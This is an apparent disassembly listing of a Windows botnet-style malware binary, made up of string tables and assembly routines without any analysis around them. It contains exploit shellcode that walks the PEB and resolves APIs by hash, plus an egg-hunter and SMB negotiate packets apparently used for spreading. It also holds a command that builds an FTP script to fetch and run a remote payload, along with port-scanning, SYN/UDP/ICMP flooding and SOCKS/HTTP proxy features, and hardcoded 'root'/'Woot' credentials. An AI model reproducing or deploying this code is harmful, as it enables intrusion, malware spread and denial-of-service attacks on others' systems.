aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_4205D0+52o
		align 4
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_4205D0+20o
					; sub_4205D0+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_420880+34Co
		align 10h
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_420880+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_420880+2F3o
		align 8
aThemes		db 'Themes',0           ; DATA XREF: sub_420880+1F6o
		align 10h
aSrservice	db 'srservice',0        ; DATA XREF: sub_420880+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_420880+1E0o
		align 4
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_420880+1D5o
		align 10h
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_420880+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_420880+1BFo
		align 4
aW32time	db 'W32Time',0          ; DATA XREF: sub_420880+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_420880+1A9o
		align 10h
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_420880+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_420880+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_420880+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_420880+17Do
		align 10h
aStisvc		db 'stisvc',0           ; DATA XREF: sub_420880+172o
		align 4
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_420880+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_420880+15Co
		align 10h
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_420880+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_420880+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_420880+13Bo
		align 4
aSchedule	db 'Schedule',0         ; DATA XREF: sub_420880+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_420880+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_420880+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_420880+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_420880+104o
		align 10h
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_420880+F9o
		align 10h
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_420880+EEo
		align 4
off_4442DC	dd offset loc_616C4D+1	; DATA XREF: sub_420880+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_420880+D8o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: sub_420880+CDo
		align 4
off_4442F4	dd offset byte_4D444D	; DATA XREF: sub_420880+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_420880+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_420880+B5o
		align 4
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_420880+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_420880+A5o
		align 8
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_420880+9Do
		align 10h
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_420880+95o
		align 10h
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_420880+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_420880+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_420880+7Do
		align 10h
aDmserver	db 'dmserver',0         ; DATA XREF: sub_420880+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_420880+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_420880+65o
		align 10h
aBrowser	db 'Browser',0          ; DATA XREF: sub_420880+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_420880+55o
					; sub_420880:loc_420B0Bo
		align 4
asc_4443C8:				; DATA XREF: sub_420EB0:loc_420F6Fo
					; sub_420EB0+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420EB0+94o
					; sub_420EB0:loc_42111Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420EB0+84o
					; sub_420EB0+257o ...
		align 4
aAsn		db 'asn',0              ; DATA XREF: sub_422890+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444400	dd 1BDh							; sub_422AE0+310o ...
off_444404	dd offset sub_401811	; DATA XREF: ___:00423F2Dr
dword_444408	dd 0							; sub_423690+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422AE0+8F3o
		db 0
		align 10h
aSequential	db 'sequential',0       ; DATA XREF: sub_422AE0+8B3o
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_422AE0+8ACo
		align 4
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422AE0+760o
		align 10h
		dd 0
off_444534	dd offset dword_622D20	; DATA XREF: sub_422AE0+747o
off_444538	dd offset dword_612D20	; DATA XREF: sub_422AE0+737o
					; sub_422AE0+7A3o ...
dword_44453C	dd 722D20h						; sub_422AE0+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422AE0+640o
		align 8
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422AE0+397o
		align 8
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422AE0+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422AE0+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422AE0+275o
		dd 2 dup(0)
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422AE0+1DAo
		align 10h
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422AE0+197o
		align 10h
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422AE0+140o
		align 10h
		dd 2 dup(0)
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422AE0+B2o
		align 10h
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422AE0+6Do
		align 10h
		dd 0
dword_444634	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423BE2o
		align 8
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423BC5o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B35o
		dd 2 dup(0)
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423AFFo
		align 10h
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423DD7o
		align 8
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423D76o
		dd 3 dup(0)
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:00424257o
		align 10h
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:004241A6o
		align 10h
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:004240EFo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_4248C0+BDo
		align 4
dword_4447F8	dd 10FF8h, 0	dword_444800	dd 10FF8h	dword_444804	dd 7FFDF020h, 0	dword_44480C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_444894	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4448C4	dd 0		dword_4448C8	dd 800000D4h			align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4448D0	proc near		; DATA XREF: sub_4250A0+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4449CC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4449E2
		mov	[esi+8], eax
		call	sub_444995
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4449E2
		mov	[esi+0Ch], eax
		call	sub_444947
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4449E2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax	; _adjust_fdiv
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4448D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_444947	proc near		; CODE XREF: sub_4448D0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_444970
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_444947	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444970	proc near		; CODE XREF: sub_444947+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_44497F:				; CODE XREF: sub_444970+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_44498C
		inc	ebx
		jmp	short loc_44497F
; ---------------------------------------------------------------------------


loc_44498C:				; CODE XREF: sub_444970+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_444970	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444995	proc near		; CODE XREF: sub_4448D0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449AD:				; CODE XREF: sub_444995+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449B5
		mov	ecx, [ecx]
		jmp	short loc_4449AD
; ---------------------------------------------------------------------------


loc_4449B5:				; CODE XREF: sub_444995+1Aj
		mov	edx, edi


loc_4449B7:				; CODE XREF: sub_444995+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4449C1
		mov	edx, [edx+4]
		jmp	short loc_4449B7
; ---------------------------------------------------------------------------


loc_4449C1:				; CODE XREF: sub_444995+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_444995	endp


; =============== S U B	R O U T	I N E =======================================



sub_4449CC	proc near		; CODE XREF: sub_4448D0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4449CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4449E2	proc near		; CODE XREF: sub_4448D0+16p
					; sub_4448D0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4449F8:				; CODE XREF: sub_4449E2+33j
		jecxz	short loc_444A32
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A05:				; CODE XREF: sub_4449E2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A11
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A05
; ---------------------------------------------------------------------------


loc_444A11:				; CODE XREF: sub_4449E2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4449F8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A32:				; CODE XREF: sub_4449E2:loc_4449F8j
					; sub_4449E2:loc_444A32j
		jmp	short loc_444A32
sub_4449E2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_444A38	proc near		; DATA XREF: sub_4250A0+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444A8A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A55:				; CODE XREF: sub_444A38+38j
		jecxz	short loc_444A85
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444A60:				; CODE XREF: sub_444A38+32j
		lodsb
		test	al, al
		jz	short loc_444A6C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444A60
; ---------------------------------------------------------------------------


loc_444A6C:				; CODE XREF: sub_444A38+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A55
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444A85:				; CODE XREF: sub_444A38:loc_444A55j
		mov	[esp+arg_0], ebx
		retn
sub_444A38	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A8A	proc near		; CODE XREF: sub_444A38+7p

; FUNCTION CHUNK AT 00444AC2 SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444AA3
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AAE
; ---------------------------------------------------------------------------


loc_444AA3:				; CODE XREF: sub_444A8A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AAE:				; CODE XREF: sub_444A8A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444AC2
sub_444A8A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AB5	proc near		; CODE XREF: sub_444A8A:loc_444AC2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AB5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A8A


loc_444AC2:				; CODE XREF: sub_444A8A+29j
		call	sub_444AB5
; END OF FUNCTION CHUNK	FOR sub_444A8A
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444B5C	dd 23h		dword_444B60	dd 60h		dword_444B64	dd 62B0606h, 2050501h, 0A0hdword_444B70	dd 0A1h		dword_444B74	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_4248C0+16Do
		align 10h


loc_444B80:				; DATA XREF: sub_4248C0+100o
		jmp	short near ptr dword_444B88
; ---------------------------------------------------------------------------
		align 8
dword_444B88	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_4250A0+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C30:				; DATA XREF: sub_425570+CCo
		jmp	short loc_444C34
; ---------------------------------------------------------------------------


loc_444C32:				; CODE XREF: ___:loc_444C34p
		jmp	short loc_444C39
; ---------------------------------------------------------------------------


loc_444C34:				; CODE XREF: ___:loc_444C30j
		call	loc_444C32


loc_444C39:				; CODE XREF: ___:loc_444C32j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C3E	dw 0FFFFh		; DATA XREF: sub_425570+D3w
		db 80h,	73h, 0Eh
byte_444C43	db 0FFh			; DATA XREF: sub_425570+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C48:				; DATA XREF: sub_425570+A7o
		jmp	short loc_444C4C
; ---------------------------------------------------------------------------


loc_444C4A:				; CODE XREF: ___:loc_444C4Cp
		jmp	short loc_444C51
; ---------------------------------------------------------------------------


loc_444C4C:				; CODE XREF: ___:loc_444C48j
		call	loc_444C4A


loc_444C51:				; CODE XREF: ___:loc_444C4Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C55	db 0FFh			; DATA XREF: sub_425570+AEw
		dw 7380h
		db 0Ch
byte_444C59	db 0FFh			; DATA XREF: sub_425570+B4w
		dw 0E243h
		dd 0F9h
dword_444C60	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425300+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444CC4	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444CD4	dd 74656720h	byte_444CD8	db 20h			; DATA XREF: sub_425300+A2r
dword_444CD9	dd 0E8006A00h	dword_444CDD	dd 17h							; sub_425300+D2r
dword_444CE1	dd 0E8C30175h	dword_444CE5	dd 1							; sub_425300+E7r
byte_444CE9	db 0, 6Ah, 0		; DATA XREF: sub_425300+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444CF3	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_4264E0+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_426730+D0o
		align 10h
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_426730+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_426730+43o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4268B0+38o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4268B0+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4268B0+23o
		align 8
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_4268B0+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_426A30+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426AF0+195o
		align 8
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426AF0+143o
		align 8
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426AF0+D3o
		align 10h
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426F40+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:004270C1o
		align 10h
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_427000+43o
		align 10h
aUdp		db 'udp',0              ; DATA XREF: sub_427620+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_4276E0+C0o
		align 8
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_4276E0+47o
		align 8
off_444EF8	dd offset byte_455247	; DATA XREF: sub_427E50+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_4280D0+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_4280D0+33o
		align 10h
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_428350+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_428350+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_428350+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_428350:loc_428ED1o
					; sub_428350+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_428350+B63o
					; sub_428350+B79o
		align 10h
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_428350+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_428350+961o
		align 10h
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_428350+915o
		align 8
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_428350+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_428350+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_428350+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 10h
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_428350:loc_4288FBo
					; sub_428350+9F0o
		align 10h
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_428350+580o
		align 8
asc_4451E8	db 0Dh,0Ah,0		; DATA XREF: sub_428350+46Co
					; sub_428350+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_428350+437o
		align 8
aConnect	db 'connect',0          ; DATA XREF: sub_428350+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_428350+1CDo
		align 10h
off_445210	dd offset loc_544546+1	; DATA XREF: sub_428350+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_429A50+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429CC0+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429CC0+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429CC0+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D90+22o
					; sub_42A120+22o
		align 10h
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A1E0+1E1o
		align 10h
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A1E0+2Co
		align 10h
dword_4452F0	dd 1000005h, 0	dword_4452F8	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B910+20Fo
		align 10h
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B910+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: sub_42BEF0+5D5o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: sub_42BEF0+561o
		align 10h
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004453C0o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 10h
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 8
aSocket		db 'socket',0
		align 10h
aGethostbyname	db 'gethostbyname',0
		align 10h
aGetservbyname	db 'getservbyname',0
		align 10h
aTcp		db 'tcp',0              ; DATA XREF: sub_42C8A0+49o
					; sub_42C8A0:loc_42C95Do
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CBA0:loc_42CBC2o
		align 10h
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CCE0:loc_42CE7Co
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D160+72o
		align 8
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D160+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D230+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D350+203o
		align 4
		dd 0
dword_44549C	dd 524F5453h	byte_4454A0	db 0			; DATA XREF: sub_42D350+EDr
		align 4
dword_4454A4	dd 52544552h	byte_4454A8	db 0			; DATA XREF: sub_42D350+D3r
		align 4
dword_4454AC	dd 5453494Ch	byte_4454B0	db 0			; DATA XREF: sub_42D350+B8r
		align 4
dword_4454B4	dd 54534C4Eh	byte_4454B8	db 0			; DATA XREF: sub_42D350+9Er
		align 4
dword_4454BC	dd 45505954h, 632520h, 0					; ___:0042E75Ao
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D350+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 8
aListen		db 'listen',0
		align 10h
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		align 8
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D610+10Eo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_42D610+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D610+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D610+45o
		align 8
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 10h
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DEB0+FBo
		align 10h
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DEB0+DBo
		align 10h
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E16Eo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E1CDo
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E25Eo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E2DEo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E337o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E38Eo
		align 4
off_445674	dd offset dword_445750	; DATA XREF: ___:0042E3EDo
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E490:loc_42E611o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E490+125o
		align 10h
		dd 0
word_4456B4	dw 77h			; DATA XREF: sub_42E490+1Fr
		align 4
